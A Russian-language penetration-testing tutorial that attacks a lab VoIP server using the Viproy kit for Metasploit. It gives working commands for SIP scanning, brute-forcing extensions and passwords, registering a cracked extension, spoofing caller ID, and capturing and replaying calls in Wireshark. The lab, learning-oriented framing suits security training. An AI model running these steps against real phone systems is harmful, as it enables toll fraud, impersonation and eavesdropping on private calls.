В последние несколько лет наблюдается высокий уровень распространения IP-телефонии (VoIP). Большинство организаций, принявших VoIP, либо не осведомлены о проблемах безопасности VoIP и ее реализации, либо просто не знают о них. Как и любая другая сеть, VoIP подвержен злоупотреблениям. В этой статье я хотел бы рассмотреть различные методы поиска информации об устройствах VoIP в сети, а затем продемонстрировать несколько атак на VoIP. Я специально не стал вдаваться в подробности уровня протокола, так как эта статья предназначена для пентестеров, которые хотят сначала опробовать базовые приемы. Однако я настоятельно рекомендую вам изучить протоколы, используемые в сетях VoIP.
Что есть VoIP?
VoIP — это IP-телефония, т.е передача голоса по Интернет-протоколу. Технология VoIP позволяет совершать аудиозвонки, используя подключение к Интернету вместо обычного телефона (стационарный, сотовый). Некоторые партнеры по шлюзам VoIP могут разрешить вам звонить другим людям, у которых есть номер телефона, включая местные, междугородные, мобильные и международные номера.
VoIP по умолчанию использует 5060 в качестве порта сигнализации SIP. Это используется для регистрации, когда телефон (например, Cisco, Polycom и т. д.)
Ниже перечислены функциональные возможности, обычно используемые в установках VoIP:
- Использование нескольких линий (линий PRI, линий BRI) и расширений
- Служба голосовой почты
- Запись голоса
- Административный контроль
- Регистрация звонков
- Модульные конфигурации
- IVR и приветственные сообщения
SIP протокол
SIP (протокол инициации сеанса) позволяет нам устанавливать связь, завершать или изменять голосовые или видеозвонки. Голосовой или видеотрафик передается по протоколу реального времени (RTP). SIP — это протокол прикладного уровня, использующий для трафика UDP или TCP. По умолчанию SIP использует порт 5060 UDP / TCP для незашифрованного трафика или 5061 для трафика с шифрованием TLS. Как мы увидим позже, векторы атаки «злоумышленник посередине» (MITM) существуют для всех типов коммуникаций, включая VoIP / SIP.Таким образом, шифрование — это необходимая компенсация, которая должна выполняться независимо от среды или метода службы. Протокол входа в систему основан на ASCII и очень похож на протокол HTTP в том, что он использует модель запрос / ответ. Запросы от SIP-клиента выполняются через SIP URI и AGI через пользовательский агент, аналогично HTTP-запросу из веб-браузера.
SIP-запросы
SIP-ответы
Мы можем понять ответы, используя код ответа. Общие категории кодов ответов приведены ниже:
- 1xx (информационный)
- 2xx (успех)
- 3xx (перенаправление)
- 4xx (Неудачные запросы)
- 5xx (веб-сервер не может выполнить запрос)
- 6xx (глобальные ошибки)
Структура взаимодействия SIP
Типичная структура взаимодействия SIP состоит из следующего:
- Отправитель инициирует запрос INVITE.
- Получатель отправляет ответ 100 (пытается звонить).
- Отправитель начинает звонить, отправив ответ 180 (Звонок).
- Приемник поднимает трубку, и отправляется 200 успешных ответов (ОК).
- ACK отправлено инициатором.
- Вызов начал использовать RTP.
- Запрос BYE отправлен для завершения вызова.
Транспортный протокол в реальном времени
RTP — это сетевой протокол для передачи аудио и видео по сети. RTP используется в системах связи и развлечений, которые содержат потоковые мультимедиа, такие как приложения для телефонии и видео или конференц-связи. Стандартный порт RTP — от 16384 до 32767, эти порты используются для вызовов SIP. В нашем сценарии мы используем диапазон портов UDP 10000-20000 для медиапотока RTP, голосовых и видеоканалов.
Конфигурации, используемые в практических
- Хакер:ОС: Kali Linux 2020.1
- IP: 192.168.1.4
- Цель: VOIP сервер: Trixbox
- VOIP клиент: Zoiper
- IP: 192.168.1.7
Настройка Viproy VoIP Kit
Прежде чем мы начнем тестирование на проникновение, нам нужно добавить комплект Viproy-VoIP в наш Metasploit. Подробную процедуру добавления модулей в Metasploit можно найти здесь. Указанные шаги исходят от Rapid7 и Viproy Author.
Нам нужно установить некоторые зависимости. Сначала мы будем обновлять наши источники, а затем установим следующие зависимости:
sudo apt update && sudo apt install -y git autoconf build-essential libcap-dev libpq-dev zliblg-dev libsqlite3-dev
Как только мы закончим установку всех зависимостей, пришло время клонировать Viproy Repository в наш Kali Linux. Он содержит модули, которые нам нужно добавить в нашу Metasploit Framework
git clone https://github.com/fozavci/viproy-VoIPkit.git
Здесь мы видим, что у нас есть каталог lib и каталог modules, а также скрипт kaliinstall. Перед запуском скрипта нам необходимо вручную скопировать содержимое каталога lib и каталога modules в каталог lib и modules Metasploit соответственно.
cp lib/msf/core/auxiliary/* /usr/share/metasploit-framework/lib/msf/core/auxiliary/
cp modules/auxiliary/VoIP/viproy-VoIPkit* /usr/share/metasploit-framework/modules/auxiliary/VoIP/
cp modules/auxiliary/spoof/cisco/viproy-VoIPkit_cdp.rb /usr/share/metasploit-framework/modules/auxiliary/spoof/cisco/
Теперь нам нужно сделать записи модулей, которые мы скопировали, в файлах Mixins, расположенных в / usr / share / Metasploit-framework / lib / msf / core / Additional /.
echo "require 'msf/core/auxiliary/sip'" >> /usr/share/metasploit-framework/lib/msf/core/auxiliary/mixins.rb
echo "require 'msf/core/auxiliary/skinny'" >> /usr/share/metasploit-framework/lib/msf/core/auxiliary/mixins.rb
echo "require 'msf/core/auxiliary/msrp'" >> /usr/share/metasploit-framework/lib/msf/core/auxiliary/mixins.rb
Это также можно сделать вручную или с помощью другого текстового редактора. Это все, что нам нужно было сделать. Сначала мы клонируем предварительно скомпилированную версию из GitHub.
git clone https://github.com/fozavci/metasploit-framework-with-viproy-VoIPkit.git
Затем мы перейдем в каталог и установим viproy, используя gem.
cd metasploit-framework-with-viproy/
gem install bundler
bundle install
Это займет некоторое время. После этого нам нужно будет перезагрузить модули в Metasploit Framework.
reload_all
Это была установка Viproy Toolkit. Что ж, приступим к тесту на проникновение на нашем сервере VoIP.
В сети VoIP полезной информацией могут быть шлюзы или серверы VoIP, системы IP-PBX, клиентское программное обеспечение (программные телефоны) / телефоны VoIP и добавочные номера пользователей. Давайте взглянем на некоторые из наиболее часто используемых инструментов для подсчета и снятия отпечатков пальцев.
Используя модуль sip Metasploit Scanner Module для идентификации систем, предоставляя один IP или диапазон IP-адресов, мы можем сканировать все VoIP-серверы и их включенные параметры.
use auxiliary/scanner/sip/options
set rhosts 192.168.1.0/24
run
Здесь мы видим, что наше сканирование дало нам VoIP-сервер, работающий на 192.168.1.7. Мы также видим, что у него есть User-Agent как «Asterisk», и мы видим, что у него включено несколько запросов.
Брутфорс
Затем мы выполним операцию брутфорса на целевом сервере, чтобы извлечь пароли. Для этой конкретной практики мы создали 2 словаря. Один для имен пользователей, а другой для паролей. Затем нам нужно определить диапазон для расширений. Мы выбрали диапазон от 0000000 до 99999999. Затем запускаем эксплойт.
use auxiliary/voip/viproy_sip_bruteforce
set rhosts 192.168.1.7
set minext 00000000
set maxext 99999999
set user_file /home/kali/user.txt
set pass_file /home/kali/pass.txt
exploit
Здесь видно, что извлечено 10 расширений. Нужно убедиться, что секрет, который мы создали для расширения, трудно угадать, чтобы предотвратить атаку методом брутфорс.
Работаем дальше
Теперь наступил момент сделать еще один шаг и зарегистрировать расширения, чтобы мы могли инициировать звонки с компьютера злоумышленника. Мы выбрали расширение 99999999. Мы взломали секрет 999. Теперь все, что нам нужно было сделать, это указать IP-адрес сервера, расширение и секрет. Как только мы запустили вспомогательное устройство, мы получили от сервера ответ 200 OK, в котором говорилось, что расширение зарегистрировано с этим IP-адресом.
use auxiliary/voip/viproy_sip_register
set rhosts 192.168.1.7
set username 99999999
set password 999
run
Тут нужно зарегистрировать программное обеспечение, поскольку у нас нет магистральной линии, линии PSTN или линии PRI для исходящих вызовов. Поэтому мы тестируем расширение, чтобы вызвать его.
Call Spoofing
Тут требуется подделать Caller ID по своему желанию. Нам нужно определить логин как истинный, чтобы мы могли войти на сервер с секретом 999. Нам также нужно установить числового пользователя как true, чтобы он мог принимать числовые расширения.
use auxiliary/voip/viproy_sip_invite
set rhosts 192.168.1.7
set to 00000000
set from 99999999
set login true
set fromname hacker
set username 99999999
set password 999
set numeric users true
run
Сразу же как запустим вспомогательное устройство, мы увидим, что идет звонок с добавочного номера 999999999 на добавочный номер 00000000, который мы настроили в нашем клиенте Zoiper. Мы также видим, что у нас есть идентификатор вызывающего абонента хакера, который мы определили на вспомогательном устройстве.
Мониторинг журнала
Мы можем отслеживать журналы на сервере VoIP, которые содержат информацию обо всех вызовах, которые были инициированы, подключены, отброшены. Мы всегда можем проверить учетные данные по умолчанию. Сначала мы подключим сервер с помощью ssh, а затем выполним следующую команду, чтобы открыть панель консоли звездочки. Эта панель ведет журналы в реальном времени.
ssh 192.168.1.7
asterisk -rvvvvvvvvvvvvvvv
Сниффим звонки с помощью Wireshark
При инициинировании юзерами телефонного звонка, мы можем наблюдать за перехваченным SIP-трафиком с помощью Wireshark. Запустите Wireshark и выберите сетевой адаптер, на котором работает сервер VoIP. Затем мы начинаем захват пакетов. Если мы присмотримся, то увидим, что в меню Wireshark есть вкладка под названием «Телефония». В выпадающем меню есть первая опция «Звонки VoIP».
Только лишь мы нажмем на VoIP-вызовы, откроется окно со всеми вызовами, перехваченными во время прослушивания. Мы видим, что идет последовательность пакетов с одного IP-адреса на другой.
Если мы нажмем кнопку «Flow Sequence» ниже, мы увидим рукопожатия SIP-связи, о которых мы узнали во введении.
В потоке вызовов SIP есть несколько транзакций SIP. Транзакция SIP состоит из нескольких запросов и ответов. Чтобы сгруппировать их в транзакцию, используйте параметр CSeq: 103.
Первое — зарегистрировать расширение. При продлении регистрация соответствует настройке сеанса. С внутреннего номера 99999999 сеанс состоит из запроса INVITE от пользователя на номер 00000000. Сразу же прокси отправляет TRYING 100, чтобы остановить широковещательную рассылку и перенаправить запрос на добавочный номер 00000000.
Внутренний номер 00000000 отправляет звонок 180, когда телефон начинает звонить, а также перенаправляет прокси-сервер пользователю A. Наконец, сообщение OK 200 следует за процессом приема (добавочный номер 00000000 отвечает на вызов). После вызова сервера вызовов попробуйте назначить порты RTP, и транспорт RTP начнется с настройками SDP (порты, адреса, кодеки и т. д.). Последняя транзакция соответствует окончанию сеанса. Это делается только с помощью запроса BYE к прокси-серверу, а затем перенаправляется на расширение 00000000.
Даный юзер отвечает сообщением OK 200, чтобы подтвердить, что последнее сообщение было получено правильно. Вызов был инициирован пользователем, названным хакером, с добавочным номером от 99999999 до добавочного номера 00000000. Продолжительность вызова и текущий статус можно увидеть в приведенном выше примере. Wireshark собрал пакеты вызовов, и теперь мы можем слышать весь вызов. После отключения мы проигрываем всю конверсию телефонного звонка.
Когда жмем кнопку «Воспроизвести потоки», запрашивается устройство вывода в соответствии с драйвером вашего ноутбука. Затем мы можем нажать кнопку «Воспроизвести» и услышать разговор, который произошел во время этого VoIP-вызова.
Ну вот и все)
Заключение
Внедрение сети VoIP без адекватного двухуровневого контроля на рабочем месте сопряжено с большими рисками. После успешного теста на проникновение VoIP становится ясно, насколько рискованными могут быть различные конфигурации. Чтобы снизить эти риски, мы рекомендуем вам выполнить предлагаемые тесты на проникновение VoIP, проверив соответствующие меры безопасности для сетей VoIP. Чтобы автоматизировать задачу тестирования, Джейсон Остром разработал «VoIP Hopper», автоматизированный инструмент, который делает этот тест достаточно быстрым. VoIP Hopper можно скачать здесь — VoIP Hopper.